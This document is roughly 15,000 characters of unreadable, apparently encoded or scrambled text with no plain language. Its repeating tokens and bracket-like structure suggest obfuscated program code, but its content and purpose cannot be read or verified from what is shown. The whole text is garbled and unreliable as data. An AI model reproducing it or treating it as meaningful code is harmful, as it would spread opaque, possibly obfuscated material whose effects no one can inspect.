TPSP	QNmGGGGGmmmGGGGGG	GGWW RUOSNO^8UVUVOV^NNGXGGGGGG'WW RUOV^NOC
8SP_KGGC
TPSP	QNGGGG]GGG\mmmGGmmmG		GGGGGGVVU
OC
8SP_NmmGGmGCWQ
GGGZGGG	T	ON\mGGGGG	GGQ	WTT UOC
8SP_KGGOCWQ
GGJGGGGGOCWQ
GGGGBGO^^^_^LVVNNNGGGLGGVS^SONN\mmmmGGGmmGGG		GGG	
R
 S	VTOC 8_^QKGC
^_UWNmGmHHG'	G		J mm	GGGGG^8UVUVOSNO8Q TOUWNNGXG'	QU 
OUWNOC 8_^QKGGC
^_UWNGG]G\mmGGGGGG		GGGW	
VRP^OC 8_^QKGGGGGC
^_UWNmGGGGGGmmmmG	GG^8UVUVOUVNO^8UVUVOUUNNGGGGGGXGGGGG'	QU 
OUUNOC 8_^QKGGGGC
^_UWNGG]G\mGm		GGVTWRV
ROCS^WRKGGGC
8SP_NmGGGGGGGGmmmGG	GG^8UVUVOUVNOWW RUOUTNNGGGXG'^8UVUVOUSNOCS^WRKGGC
8SP_NG]GGGGG\mGGGGmGGG		GV	
UUONmGGmHHGGG	JJ mmmGGGGCW	GZGGGG	\mmGGOCW	GGGGFZZGGGGG	NGGGGG	GCW	\mGGGCW	GGZGGGGG^8UVUVOUVNOWW RUOURNNGGXGGGGG8Q TOURNONGG]GGGGGG^8UVUVOUQN\mmmGGGO'^8UVUVOUPNOCW	NGGAAG'8Q TOU_NOCW	NNGG	GCW	\mGCWUQGGGGGZGGGGG	O^8UVUVOU^NNGGGGXGGGGG078$()3")38#.5GGG]GGGGGO	O	QU 
OWNNGGGGXG&%47&3/GGGIG	QU 
OTWNGGGGG]GGGGEEN\mGGGGGGGGGGOCWUQGGFZZGGEENGGGmGGGGC	S^RWGGGGGGZGG^8UVUVOVTNOCWUQKG^8UVUVOTVNNGIGGWW RUOTUN\mGGOF'^8UVUVOTTNOC	S^RWNNG'8Q TOTSNOC	S^RWKGOWVULWVNKGN\mmmGGO'^8UVUVOTTNOC	S^RWNGGGAAGG'	QU 
OTRNOC	S^RWNNGGGGmHHG GG mmGGGGGGGO^8UVUVOTQNOWW RUOTPNNNG'	O8Q TOT_NGGGGIGC	S^RWN\mC +(%&+4<WW RUOT^N:GGZGGGGV\mCW	GGZGGGGC	S^RW\mGGGGmGm	GGGGCW	\mm		GGSS	_8

8VQONmGmGGGCS^WRGGZGRU
V	ON\mmmGGGGGCUUTVVGZGGGGG8^SU ^ON\mHHGG
GmmGGOCS^WRGZZZGGCUUTVVNG	G\mmmmGGGGGO	QU 
OSWNO^8UVUVOSVNNNGGmGGGGGCR_GGZG'^8UVUVOSVNOCS^WRN\mGGGGC
_^PGZGGG'WW RUOSVNOCUUTVVN\mG	GGGGGOCR_GFZZGGGGGAAGGC
_^PGFZZGGGGAAGCR_GGGGZZZGC
_^PN\mmmmG	G\mGGGGGGm		GGGVS^SONmGGGmmGGG	GGO^TPPWLS^N\C8__ Z^WLVT\CW
ZC8__ JT\mGGmGGG		GGGGG ^Q
URTONmGGGGmGGGOF	O	QU 
OSUNNNGGG	GGGGEE\mGGGGGGCWUQGZGGG	OWW RUOU^NNGGGGGXGG078$()3")38#.5GG]GGG&%47&3/GIGGGG	QU 
OTWN\mGGGGGG	GG8Q TOSTNOCWUQKGGG8Q TOSSNNGGIGG	QU 
OSRNGIGWW RUO^NO^8UVUVOSQNO&%47&3/GGGGGGIGWW RUOSPNNKGGGGGGWKGGOQLUNNGIGGG	QU 
OS_NGGIGWW RUOS^NO	QU 
ORWNO&%47&3/GGGGGGIGGGG8Q TORVNNKGWKGGOVWW9VW_NNGGIGGG^8UVUVORUN\mm		GGGW TRR_QSOCPR
GGGZG	NmmGGGC
8SP_GGGZGGGG ^Q
URTON\mGGGGOC
8SP_GGZZZGGGEENGGGGGG	GGGG\mGGGGGGOF	QU 
ORTNOCPR
NGGG^8UVUVORSNOCPR
NGG[GOW^LWVUNNGGGGCPR
GZGG	W
_RUTTON\mGGGGGGGOFCPR
GGGGGGGFW^RTOCPR
NNGG	GG\mGGGGGCS^WRGGGGZGWW RUOVVNOC
8SP_N\CV	8PVZ7/78*&-(581"54.()\CVT8ZCV	8PVMP\mGGGGGGOF'8Q TORRNOCS^WRNNGGGPTV8
OCS^WRKGGOQRPJVQSNKGGN\mGGOF'8Q TORRNOCS^WRNGGF'^8UVUVOTRNOCS^WRNNGG	GGG\mGGmmGGO'^8UVUVORQNOC
8SP_NNGGGGGmGGGGGO8Q TORWNO8 	  OO	 NGG'8Q TORPNOC
8SP_NNNGGGZZZGG	QU 
ORWNOCPR
NNGG	GG\mmGGGGGC
VVWGZGGU8_8T^ OC
8SP_N\mmmGGGOC
VVWGGFZZG	GGGGAAG	8
OC
VVWKGGGG^8
U_U
ONKG@Y@NNGGGGG	GGG\mG	OC
VVWN\mGmGGGGGGGGGGGGOFSS8^

TVOC
8SP_KGGCPR
NNG	GGGG\mG



T_WOC
8SP_KGGGOTUTL^PNN\mGGGGS_R^W8OC
8SP_N\m	GGGG\mGGGGGmG		G8SQT_W^RONmGGGGGGCST
^ RZPWSQ\CUZCST
^ RB_\mGGGCPR
GZGGGG	W
_RUTTON\mGOFCPR
GGFW^RTOCPR
NNGG	GG\mGGCWU W
GZG	QU 
OVUNO^RRONKG^8UVUVORUNN\mGGGC	
QRVGGZGGWW RUOR_NO8Q TOR^NNGGGXGGGG
U	TWQQONGG]GGGGO	O	QU 
OQWNNGXGG078$()3")38#.5GGGG]GGGGEEN\mGGGGGGOC	
QRVGGGZZZGGGGGEENG	GGGG\mmmC^8PQTGGGGZGC	
QRVGGGIGG8Q TOQVNGIGGGGCWU W
\mGGC8	_STGGGZGC^8PQTGGGGGIGGG@H@GIGGCWU W
GGGGIG8Q TORUN\mGGCR
 
^GGGGGZGGG\mGGmmGGO8Q TOQUNO^8UVUVOSVNNNGmGGGC_V	RWTR^ GGZGG'^8UVUVOQTNOC8	_STN\mGGGC_RS_8GZGGGG'8Q TOQSNO^RRONN\mGGCR
 
^GGZGGO	QU 
ORTNOC_V	RWTR^ NGAAGGWW RUOQRNOC_RS_8NGAAGC_V	RWTR^ GGGZZZGC_RS_8N\mGGmGGGGGOFCR
 
^NGGGGmmmGOF'8Q TORRNOC^8PQTNNGPTV8
OC^8PQTKGGO_UVJTU_NKGGGN\mmGGGGGOF'WW RUORRNOC^8PQTNGGGF'WW RUOTRNOC^8PQTNNGG	GGGG\mGGOF'	QU 
ORQNOC8	_STNGG8Q TORWNO8 	  OO	 NG'	QU 
ORPNOC8	_STNNNGGFZZGG	QU 
ORWNOCPR
NNGGGmGGGO'^8UVUVOQQNOC8	_STNNGC_VZOWUPLWSN\CW8TZC_VBP\mGGGC
VVWGGZGU8_8T^ OC8	_STN\mmGGGGGGGGGOC
VVWGGGFZZGG	GAAGGGG	8
OC
VVWKGGG^8
U_U
ONKGGG@Y@NNG	GGGG\mGGGGGGG	OC
VVWN\mGGmHHG07G53G&7.G	GmmGGGGGGOFSS8^

TVOC8	_STKGGGG_^UQUSOCPR
NNNGGGGG	GGGGG\CP__RR	Z7/78.)38*&?H7/78.)38*&?\C_
QPV^UZCP__RR	LUP\mG



T_WOC8	_STKGOTP^LSVNN\mGGGVVU
OC8	_STN\mmmGS_R^W8OC8	_STN\mGGGGGGmmGGGGmGGmHHGGGG07G7G&mmmGGGGOWW RUOQUNOWW RUOQPNNGGGGAAGGGWW RUOQ_NOWW RUOQ^NNNGGmC8RRQQ^
	PGGGGZGCWU W
GGGGGGIGGGGG@H@GGIGCWU W
GIGGGGG^8UVUVOPWN\mmGC	TPVGZGGG 8	O8Q TOPVNKGONN\mmGGGGGGGGGOF^8UVUVOPUNOC	TPVNNGGGC	TPVGGZGON\C WVTZ_QLSP\CPZC WVTJSW\mGGGGGGGOF8Q TOPTNOC8RRQQ^
	PKGGC	TPVKGNNGGmGGGGC	TPV<:GZGGGGC8RRQQ^
	P\mGGGG8	O8Q TOPSNKGWW RUOPRNOC	TPVNN\mGGGmGmGGGG	GGGGG\C
RSZQWR^\C	  UZC
RSBR\mGmGG		GU8_8T^ OC
8SP_NmmGC	V^GGZGGGGG'^8UVUVORPNOC
8SP_KGKGGG	KGWKGGGGGOP_UVJTPURNN\mGGGGGGOF^8UVUVOPQNOC	V^NNG	G	\mmGGGO8Q TOPPNO	QU 
OP_NKGGGC	V^KGGCUUTVVNNGG	GGGGCUUTVV<V:\mGG	GG	\mGmGmGGG		GGGGRU	_8
OCWSSKGC

VTS	NmGGGGGGGmm'OKGCWSSN\mmCT
P8	R^8GZGGG'	QU 
OP^NOCWSSN\mmGGGGGGOFCT
P8	R^8GGGGOCT
P8	R^8GGGGBGGO^^^QWLSWNNGFZZGVS^SONNGGm	GGG\mGGGGGGGmmmGGmGC^R_PGGGZGG'^8UVUVO_WNOCWSSN\mG	GGC^R_PGGGAAGGC^R_PGGYZGC

VTS	\mGGmmmGmG		GG88V8VVONmGGGGmmG	GGGOWRRWLWTP^RN\mGGGmGGGGG		GG	QPRONmmmGGmm	G8Q TO_VN\mmmGGGGmmmmGGGGGGG		GPS_US^_ONmGmG	GGG8Q TO_UN\mGmm		GGGRQR8W
PTQSONmGGGGGGmHHG'
G
mmmmmGGGGGGGGO8Q TOQ_NO8Q TO_TNNNGGG	GGG\mGGGGO
	SP
  PONNGG	GGG\mmmC WTQRGZGOC84"51"5<8Q TO_SN:NGXG8Q TO_RNOO	 NGGGGC84"51"5<8Q TO_QN:NGGG]GGGEE\mmmGGGGGGOC WTQRGGFZZGEEGGGAAGOWW RUO_PNOC WTQRKG^8UVUVO__NNGGFZZGGGGGGG8Q TO_PNOC WTQRKGGGG	QU 
O_^NNGGGGGFZZGGGG^8UVUVO^WNOC WTQRKGGGGG	QU 
O^VNNGGGFZZGGNNGG	GGGG\mGGGGOC WTQRGGGZZZGGEEGGAAGG^8UVUVO^UNONGGFZZG	QU 
O^TNGGGGAAGGGOC84"51"5<8Q TO^SN:NNG	GGGGG\mGGG	GG\mmG		G
	SP
  PONmmmGmGC WTQRGGZGGOC84"51"5<^8UVUVO^RN:NGGGGXGGC84"51"5<8Q TO^RN:GG]GGEE\mGGGGG	GGGWW RUOPQNOC WTQRNGAAGOC WTQRKGG8Q TO_^NNGFZZGGG\mGGGmGGGGGGG		GGGWQR8OC	VRNmGmGGGGGGGCP8 RGGZG^8UVUVOQ_NO8Q TO^QNNGGXGG'8Q TO^QNOWW RUO^PNNGG]G\mGGGGOFCP8 RGGGCP8 RGGGGZZZGGGEENG	GGGG\mGGC8SUSS^S	GGGZG'	QU 
O^_NOC	VRN\mGGOFC8SUSS^S	NGC8SUSS^S	GGGZGGC	VR\mGGGGO8Q TO^^NO7&3/84"7&5&3(5KGGGGCP8 RNGGGGGC
Q^	R8S	NGGGmHHG
G	 GG07G"	G7mmGGC
Q^	R8S	GZGGGWW RUOSTNOC
Q^	R8S	KGGGGG^8UVUVOSSNN\mGGGGOC
Q^	R8S	GGAAGGOC8SUSS^S	GGZZZGGGC
Q^	R8S	GGGWW RUOVWWNOC8SUSS^S	KGC
Q^	R8S	GIGGGGGG#.5"$3(5>84"7&5&3(5NGGGGGZZZGGGGGWNNG	GGGGGG\mmmmGGGGm	GG\mmGGG		GS_P^OCSW	U8SNmGGmHHG	G
	
G mmGGGCUGZGGGGGCSW	U8SGIGGG@@GGGIGGO	O	QU 
OVWVNNGGXGGG#%8)&*"GGGGG]GGEENGIGGG@@GIGGGGGO	O	QU 
OVWUNNGXG&%47&3/GG]GGGEEN\m	GG^8UVUVORWNOCUN\mm		G^PVWOCSW	U8SNmGGGmGGG GGC\mmGGGGGGOFOC +(%&+4<WW RUOVWTN:NGGGGF	QU 
OPUNOC +(%&+4<^8UVUVOVWSN:NNGC +(%&+4<^8UVUVOVWSN:GGGZGGGON\mmmGGGOF
OC +(%&+4<8Q TOVWRN:<CSW	U8S:NNGmHHG
	 GG		G	mmGGGGGGGGC +(%&+4<8Q TOVWRN:<CSW	U8S:LL\mmGGG	GGGGG\mGGGGGmGGGO	QU 
OVWQNOCNGAAGWW RUOVWPNOCKGGGGGG	QU 
OVW_NNNGGGGGmGGC	WTVT ^GZGGGGG'CJY 8O	QU 
OVW^NGGGIGGS_P^OCSW	U8SNGIG^8UVUVOVVWNN\mGOC	WTVT ^GGZZZGGGGG@V@NGmGGC +(%&+4<8Q TOVVVN:<CSW	U8S:GZGGV\m	GGGGG\mGGGGGmGGGGGOC	WTVT ^GZZZGGG@W@NGG	GG\mGGGGGGmmGGGGGGGGO	QU 
OQ_NO	QU 
OVVUNNGGGAAGG8Q TOQ_NO	QU 
OVVTNNNGmC  ^^TUGGGZGGON\mGGGGGGGGGO	QU 
OQ_NO^8UVUVOVVSNNNGGC  ^^TU<:GZGGG	QU 
OVVSNON\mGGGGGO	O8Q TOQWNNNGGGC  ^^TU<:GZGGGGG078$()3")38#.5\mmGGGO	O8Q TOVWUNNNGGGC  ^^TU<:GZG8Q TOVVRNO&%47&3/KGG8Q TOSSNN\CVP
TZP^VST\C8W
8ZCVP
T9V^Q\mGGGGGGGOC  ^^TUGGGGCS^WRNGmHHG'	GmmmGGGGGOCS^WRGGGZZZGGGGGEEGGF'8Q TORRNOCS^WRNGGF'WW RUOTRNOCS^WRNNGG		\mGGCP^GGZGGG'	QU 
OVVTNOCS^WRGGGIGGGWW RUOVVQNGIGGGS_P^OCSW	U8SNGGGGGIGGGG	QU 
OVVPNKGGGG@@N\mGGGGOCP^GGFZZGGGGNGGmGGGGGOF'OCP^KGGGGG+($,8"?GGGG+($,8)%NNGGGGGmHHG07G!G4G"	 ]G
GJ	mmmmmGG'OCP^N\mG	G\mmmmGGGGOFOC +(%&+4<WW RUOVV_N:NGGGGGGFWW RUOPUNOC +(%&+4<	QU 
OVV_N:NNGGGGGGC +(%&+4<8Q TOVV_N:GGGGZGGGGGON\mGC +(%&+4<WW RUOVV^N:<CSW	U8S:GZGGGGGCP^\mmmGGGGGGC +(%&+4<WW RUOVVVN:<CSW	U8S:GGZGGGV\mGGGGG	G\mmmmGmmGmGGmG	G\mGGGmGGG		GGGGGGT_TV 		^OCSW	U8SNmmGGGGG GGGC\mGGGGGGGGO
OC +(%&+4<	QU 
OVVVN:<CSW	U8S:NNGGG	\mGGC +(%&+4<WW RUOVVVN:<CSW	U8S:JJ\mmGGGGGOC +(%&+4<8Q TOVVVN:<CSW	U8S:GGYGWNGGG	\m	OC +(%&+4<	QU 
OVVVN:<CSW	U8S:N\mGGGGOOC +(%&+4<WW RUOVV^N:<CSW	U8S:NNGmGG'OC +(%&+4<WW RUOVV^N:<CSW	U8S:KG+($,82)N\mGG'OC +(%&+4<^8UVUVOVUWN:<CSW	U8S:N\mGG	OC +(%&+4<8Q TOVUWN:<CSW	U8S:N\mGmmmGGGGGGGO8Q TOVWQNOCNGGAAGGWW RUOVWPNOCKG8Q TOVUVNNNGGGm'CJYO	QU 
OVUUNGGGIGGS_P^OCSW	U8SNGIG^8UVUVOVUTNN\mGmmGm		GR W
TUONmGGmGGGO	O	QU 
OVUSNNGGGGAAG#.4&++(08!.+"8*(#4NG	G\mmmGGGGGG	GGG\mGmGGG		GWS	V VQPOC^UKGC  PNmGGmGGGGGGGmGGGGGO	8O^8UVUVOVURNNGGGAAGGC  PG		GG3NGGmGGC_V
PP^PQGZGGGWW RUOS^NOC^UGIGG8Q TOVUQNGIGC  PJY * ONKGGWKGOUSVLVRNN\mGGGGGGOC  PGGG		GGGG"	NGmGGGGC_V
PP^PQGGGGGZG^8UVUVOVUPNOC^UGIGGG	QU 
OVU_NGGGIGGGGGC  PJY * ONKGGGWKGGOVPVL_RNN\mGGGGGGGGGGO^8UVUVOPQNOC  PNGGAAGWW RUORSNOC  PNGGGGYGGGWNGGGmGGC_V
PP^PQGGZGWW RUOVUPNOC^UGIG8Q TOVU_NGIGGGC  PKGWKGGGGOWRLWNN\mGGGGGGGGmHHG07G/ G(G$
		G	
G 	mmmmGGG	\mmGGGmGGGGOFOC +(%&+4<8Q TOVU^N:NNGGC +(%&+4<WW RUOVU^N:GGGGZGGON\mGGGGGGOF^8UVUVOPTNOC_V
PP^PQKGGGGGC +(%&+4<WW RUOVU^N:KGGNNGGmC +(%&+4<WW RUOVU^N:<:GGGGGGZGGGGGC_V
PP^PQ\mGGGGGmGGGGGGGO^8UVUVOVTWNOC +(%&+4<8Q TOVU^N:NGGYGOUR[[VNNGGGGGmmGC +(%&+4<^8UVUVOVTVN:GGZGG8Q TOVTUNOC +(%&+4<	QU 
OVTVN:KGGGGGJOSLSQNN\mGmmmGGGGGGGO3GC	_R NGGGGGGmmGGGGGGGO"	GGGGC	_R NGGGmGGGGGmGGGmGG		GG_ OC	V^KGC	Q8RQWTKGC
8SP_GGGZGGGGOURW9USWNKGGGGGGC
GGZGGVNmGGGGGGGmGGGOF	QU 
OQ_NOWW RUOVTTNNNGG	GGGG\mGGGGGOWW RUOVTSNOC	Q8RQWTNNGmmmGG	GG8	OC	V^KGG		GGOIIICRTNGGGGGOC	Q8RQWTNGGGGmGGGGO8Q TOQ_NOC	Q8RQWTNNGGG	GGGGGGC	Q8RQWTOIIICRTN\mGGG	GG	\mKGC
8SP_KGGGGC
N\mGmmmGGGGG	G8	OC	V^KGGGC	Q8RQWTKGGGC
8SP_KGGGC
N\mGmGG		GPTSQQ	

TOC	V^KGGGC	Q8RQWTKGGGGC
8SP_GGZGGGGGOVUJUNKGGC
GGGZGGGVNmGGGGmGGGGGOF	QU 
OQ_NO8Q TOVTRNNNG	G\C8	WZJPVP\C^U ZOC8	WYWNXC8	W]JC8	W\mGGGGGGGGOWW RUOVTQNOC	Q8RQWTNNGmm	G8OC	V^KGGGGG		GOIIICRTNGGGGGGOC	Q8RQWTNGGGmGGGGGGO^8UVUVOVTPNOC	Q8RQWTNNGG	GC	Q8RQWTOIIICRTN\mG	GGGOCRT<W:NGGGXGGGGCRT<W:GGGG]GGGG	\mKGGC
8SP_KGC
N\mmGGGGGG	GGGG8OC	V^KGC	Q8RQWTKGGGGC
8SP_KGGGC
N\mGGmGG		GRU^W
 ONmmmmmGGGC
Q^	R8S	GZG	O8Q TOQWNNGGGXGGG078$()3")38#.5GGIGG	QU 
OSRNGGIG^U  

VRO&%47&3/GIG8Q TOVT_NKGOWQLWUNNGGGG]GGG	QU 
OVVNO^RRONNGGIGG^8UVUVOVT^N\mGGGGGGGGOF'	QU 
ORRNOC
Q^	R8S	NGGGAAGWQR8OC
Q^	R8S	NNGGmPTV8
OC
Q^	R8S	KGGGOSTULQVNKGGGN\mmmmGGGO'WW RUORRNOC
Q^	R8S	NNGGmGGGGGGGG
TT^	SOC
Q^	R8S	GGGIGG8Q TOVSWNKGE[XGHHG4	GG 	I;	EKGG	QU 
OVT_NN\mmGGmmmmGGGGGGGGGGO'8Q TORRNOC
Q^	R8S	NGAAG'WW RUOVSVNOC
Q^	R8S	NNGGmmmmGGG	GC
Q^	R8S	\mGGGmGGGGC  _UUGZGGGGGWW RUOVVNO^RRONNGGIGGG	QU 
OVSUN\mGGGGGOF'WW RUOVSTNOC  _UUNGGGAAGGWQR8OC  _UUNNGGGGPTV8
OC  _UUKGGGGGGOWVPLWQNKGGGN\mGGGGGGGGO'WW RUOVSTNOC  _UUNGGGGGAAGGG'	QU 
OVSVNOC  _UUNNGG	GGGGGC  _UU\mGmmGC ^_P_GGGZGG	QU 
OVVNO^RRONN\mmGGO'	QU 
OVSVNOC ^_P_NGGGGAAGGC ^_P_GGFZZGGG8^SU ^ONNG	GGC ^_P_\mGGO	OWW RUOVSSNNGGGGAAGGG'8Q TOVSRNO078$()3")38#.5NGAAGGGGGGWQR8O078$()3")38#.5NNGGGG	G078$()3")38#.5\mmmG	GC
Q^	R8S	\mGGGGm		G
U	TWQQONmGGGGmGO	O^8UVUVOVSSNNGGAAGG'WW RUOVSQNO078$()3")38#.5NGGGGGAAGWQR8O078$()3")38#.5NNGG	GGGGG078$()3")38#.5\mmmC^Q VQWGZG8Q TOVVNO^RRONN\mGGGOWQR8OC^Q VQWNNGGG	GGGC^Q VQW\mGGGG	GGGG078$()3")38#.5\mmmmmGGGGGGmG		G8
 _R_^OC	VRNmGmGGGGGGO
OC +(%&+4<	QU 
OVSPN:NGGGGGF^8UVUVOPUNOC +(%&+4<8Q TOVSPN:NNGGG	GGG\mGGGGGGOOC +(%&+4<	QU 
OVSPN:<C	VR:NNG	GG\mC8SUSS^S	GGGZGWW RUOVTPNOWW RUO^_NNGGGXGG'	QU 
O^_NOC	VRNGG]GGGGG\mmGG	GGGGOC8SUSS^S	GGGGGFZZGGGGAAGGGOC +(%&+4<^8UVUVOVSPN:<C8SUSS^S	:NN\mGGGGGGGmGG		G	 ^	R OC	VRNmGGGmGGGGGGO
OC +(%&+4<8Q TOVS_N:NGGGGGGF8Q TOPUNOC +(%&+4<WW RUOVS^N:NNGGG	\mGGGGG	OC +(%&+4<WW RUOVS^N:<C	VR:N\mGGGGC8SUSS^S	GGZGGGG^8UVUVOVTPNO	QU 
O^_NNGGGXGGGGG'	QU 
O^_NOC	VRNG]GG\mGGGGGGOC8SUSS^S	GFZZGGGGNGGG	OC +(%&+4<	QU 
OVS^N:<C8SUSS^S	:N\mGGGGGGGGm		GGGGWV_ 
T OC	VRNmmGGGGGGGGGGOFOC +(%&+4<^8UVUVOVRWN:NGGGGGF8Q TOPUNOC +(%&+4<8Q TOVRVN:NNGGmC +(%&+4<^8UVUVOVRVN:GZGGGON\mGmC^WP8GGGGZGG^8UVUVOVTPNO^8UVUVO^_NNGGGXG'WW RUOVRUNOC	VRNGGG]GG\mC +(%&+4<	QU 
OVRVN:<C^WP8GGFZZGGGGGGXGGGGC^WP8GGGGG]GGC	VR:GZGC	VR\mGGGGGGC
T8W_ WGGGGZGG\mGGGGOFC
T8W_ WNGC _ZJRPW\C
V
VZOC _YWNXC _]JC _\mGGC
T8W_ WGGGZGG\mGGOWW RUOVTPNO8Q TOVRTNNNGG	QU 
OVRSNO	QU 
OVRRNN\mGGGGGmGGmm		G 8	QS__ONmGGGGmGGGGGGGO
OC +(%&+4<^8UVUVOVRVN:NGGGF	QU 
OPUNOC +(%&+4<WW RUOVRQN:NNGGGGmGGGGGGG	\mGGmGGGGGOC +(%&+4<8Q TOVRPN:GGGGGGCSSVR8 GGZYGGGGGGCPVVNGmHHG'	GJmmGGGOF8Q TOVTQNOCPVVNNGGGGCPVVGZGGGGCSSVR8 \mmGGGGGOCSSVR8 GGGGGZZZGG^RRONGGCPVVGGGZZZGGG^RRONNG		\mGGGGmGGGGO'WW RUOQQNOCPVVNNGGmGGGGGGO8Q TOVTPNO	QU 
OVPNNNGG



T_WOCPVVKGOTU^L^VNN\mGGGGGGGO^8UVUVOVTPNO8Q TOVR_NNGGAAGGU	U8OCPVVNGAAGGGGGGWW RUOVR^NO8Q TOVQWNNNGG'8	OCPVVKGN\mGmGGGGGO3GC  PNGGGmGGGGGGGO"	GC  PNGmmGGGmmmmGGGGGGmGGG		GGW 	^ONmmGGGGGmGC  PGGZGGGG8Q TOVR^NO^8UVUVOVQVNNGGGGXG'8 8ONGG]GG	\mGGGGGGGGGOF^8UVUVOVQUNOC  PNGGGGG
OC  P<^8UVUVOVQTN:NGGGG
OC  P<8Q TOVQSN:NNGGGG	\mGGGGGGGOFWW RUOPTNOC  P<^8UVUVOVQRN:KGGGO"8"55(5KG"87&54"KGGGG"8$(5"8"55(5KGGGG"8$(*7.+"8"55(5KGG"824"58"55(5NKGGGGNNG	\mCUUTVVGGGGZGGGOC  P<	QU 
OVQQN:NGXGO	 NGC  P<^8UVUVOVQQN:GGGGGG]GEE\CQ8PZPVVR\CU8^
	 ZCQ8PBP\mGGGGGGGGGOOCUUTVVKGGG8Q TOVQPNNGGGFZZGGGGGGGGOCUUTVVKGG^8UVUVOVQ_NNGFZZGNG	\mGCR
 
^GGZGGG	QU 
OVR^NO8Q TOVRUNNGGGXGGG'^8UVUVOVQ^NO^RRONNG]GG^RRON\mmmmGC8GGGGZGG^8UVUVOVR^NO	QU 
OVPWNNGGGGGGXGGG'^8UVUVOVPVNOC  P<WW RUOVPUN:NG]GC  P<	QU 
OVPTN:\mGGGGGGGOF^8UVUVOVTQNOCR
 
^NGGGFWW RUOVTQNOC8NGGGC8GGGGFZZGGGGGGCR
 
^NGGGG	\mGGGGGGOOC +(%&+4<^8UVUVOVPSN:NNGGGGmHHG	 J	G	mmGGGCWQUV
GZG'	QU 
ORPNO^RRONKGGGGGKG	KGGGGGWKGOSQP_JR_UNN\mGGGGGGGGGOWW RUOVTQNOCWQUV
NGGGGAAGGGG8Q TOPPNO8Q TOP_NKGCWQUV
KGGC8
NGAAGGGGC8
<V:GGGGGGFZZGGO	 NGGC +(%&+4<WW RUOVPSN:NGGG	\GmG	OCWQUV
KGGGGGC8
N\mGGOOC +(%&+4<WW RUOVPRN:NNGGGGGmGGGGGGO^8UVUVOVPQNO	QU 
OVPPNNNGG'OKGGGGG^RRONN\mGGGC^_QGZGGGO	 NGG'	QU 
O_WNO^RRONNGGGIGG@]@GGIGGO	 NGG'WW RUOP^NO^RRONN\mGOC^_QGGFZZGGGGO	 NGGC +(%&+4<	QU 
OVPRN:NGGG	\Gm	OC^_QN\mGGmGmGGGGGGGCWU W
GZGGGWW RUOVUNO^RRONKG	QU 
OPWNN\mGC
R  RUPQGGGZG	QU 
ORWNO8 	  OO	 NGGG'8Q TOVP_NO^RRONNNN\mmm
TT^	SO	QU 
OVVNO^RRONNGGGIG	QU 
OVP^NGGIGGGCWU W
KGGGC
R  RUPQKGG@@N\mGGGGOC
R  RUPQGGGGFZZGEENGGmGGG
TT^	SO	QU 
OVVNO^RRONNGGGGGGIGGGG^8UVUVOV_WNGGIGGGGGGC
R  RUPQKGO	 NGGGWW RUOV_VNONKGGG@@N\mGO^8UVUVOVPQNOWW RUOQ^NNNGmHHG.	G		]G	JGJmm'8	O8Q TOV_UNKGGGC
R  RUPQGGGGGIGGGGG@@GGGGGGIGG^8UVUVOV_TNONKGG	QU 
OV_SNN\mGmGGGGGmGGGCP_PTGGZGGG8^SU ^ON\mGGGGGGGOCP_PTGGGFZZGG	QU 
OVVNO^RRONNGGGGAAGGG'WW RUOVSTNOCP_PTNGGAAG'WW RUOV_RNOCP_PTNNGm
TT^	SOCP_PTGIG	QU 
OVP^NGIGCWU W
KGGGGGGC
R  RUPQKG@@N\mGGGGGmGGGO^8UVUVOVPQNO	QU 
OV_QNNGGGAAG8Q TOVPQNO	QU 
OQ^NNNGGC8 UT
ZJQR\CS _TZOC8 UT
YWNXC8 UT
]JC8 UT
\mGC_RWVVGGGGZG 8	O8Q TOPSNKGGGONN\mGGO	QU 
OVQUNOC_RWVVNGGGAAGG	QU 
OV_PNOV8QU_8ONKGGC_RWVVKGGGGGNNGGGGm'8	O	QU 
OPSNKGGGG^8UVUVOPRNO^8UVUVOV__NOC_RWVVKGGOV8QU_8ONNNNN\mGGGGGGGmmm8^^
 O8Q TOV_^NN\mGC	^GGGGGZGGG^RRONGGIG^8UVUVOV^WN\mGGGGGGGOWW RUOV^VNOWW RUOUWNNNG'8Q TOUWNO^RRONKGGC	^N\CVSPZPSMU\C
Q_ZCVSPJTR\mmGGGGGGGGO8Q TOV^VNO^8UVUVOVQWNNNGGm'8	O^RRONKGN\mmmmGGGGGGG'8	OC	^KGGGGN\mGGGmGGGGGGOO	QU 
OV^UNOC	^NKGGGG8^SU ^ONNGGCQ		^V_^NGGmC^
GZGGGGGVSOCQ		^V_^N\mGGGGGGOF8Q TOV^TNOC^
NNGG		\mGGGGOC^
GGGCU^	_PQNGmGGO	QU 
OV^SNOCU^	_PQKGGGGGJOS[[VNNGGFZZGGG^8UVUVOV^RNNGGGGGG		\mmmmC_WGGGGZGCQ		^V_^GGGGGGIGG@H@GIGGGCU^	_PQ\mGCSPPTPUGGZGGGGG'^8UVUVOP^NOC_WN\mGGGOCSPPTPUGGGAAGCSPPTPUGGG[GGGGGWW RUOV_TNONGGGGJGGGO^WWPVPJU^R^VPNNGGGmmGGG



T_WOC_WKGGGORWSJ_SNN\mGGU	U8OC_WN\mGmmGmGGGGGmmGG	OCQ		^V_^KGGGC^
KGGGCU^	_PQKGGC_WKGGGGGCSPPTPUN\mGGGGGGGGO3GGC	_R NGGmmmGGGGGGGO"	GGGGC	_R NGmmmGGG		GGW
SU	OC	VRKGGGGCSP NmGmmmGmGGOFWW RUOVTQNOC	VRNGGGGGGGC	VRGGGGZZZGGGGEEGGGGGF	QU 
OVTQNOCSP NGGGGGGCSP GGZZZGGGGEENGGGGG	\mmmmGC
Q^	R8S	GZGG	QU 
OV^UNOC	VRN\mGGGGGGGOF'^8UVUVOVSTNOC
Q^	R8S	NGGF'^8UVUVOV_RNOC
Q^	R8S	NNG	\mGGGGGCRU_VQGGGGZGGGGC
Q^	R8S	GGGIGGGGWW RUOV^QNGGGIG8Q TOVUNOC	VRKGWW RUOPWNN\mGGGGC8

TGGGGZG'8Q TOVP_NOCRU_VQN\mGGGGGGOWW RUOVTQNOC8

TNGGGGAAGG8Q TOPPNO^8UVUVOV^PNKGC8

TKGCUUTVVNGAAG	8
OCUUTVV<W:KGGCSP KGG8Q TOV^_NNNGGGG	\mmmGGGGO8Q TOV^VNO^8UVUVOV^^NNNGG'	QU 
OV^^NOCRU_VQKGGGGCSP N\mmGGGGGGGGGGO3GGC  PNGGmGGGGGO"	GC  PNGGGGmmmGGGGmmGGGGGGGG		GGTQRONmmmmmGGGGGGmGGGGGOF	QU 
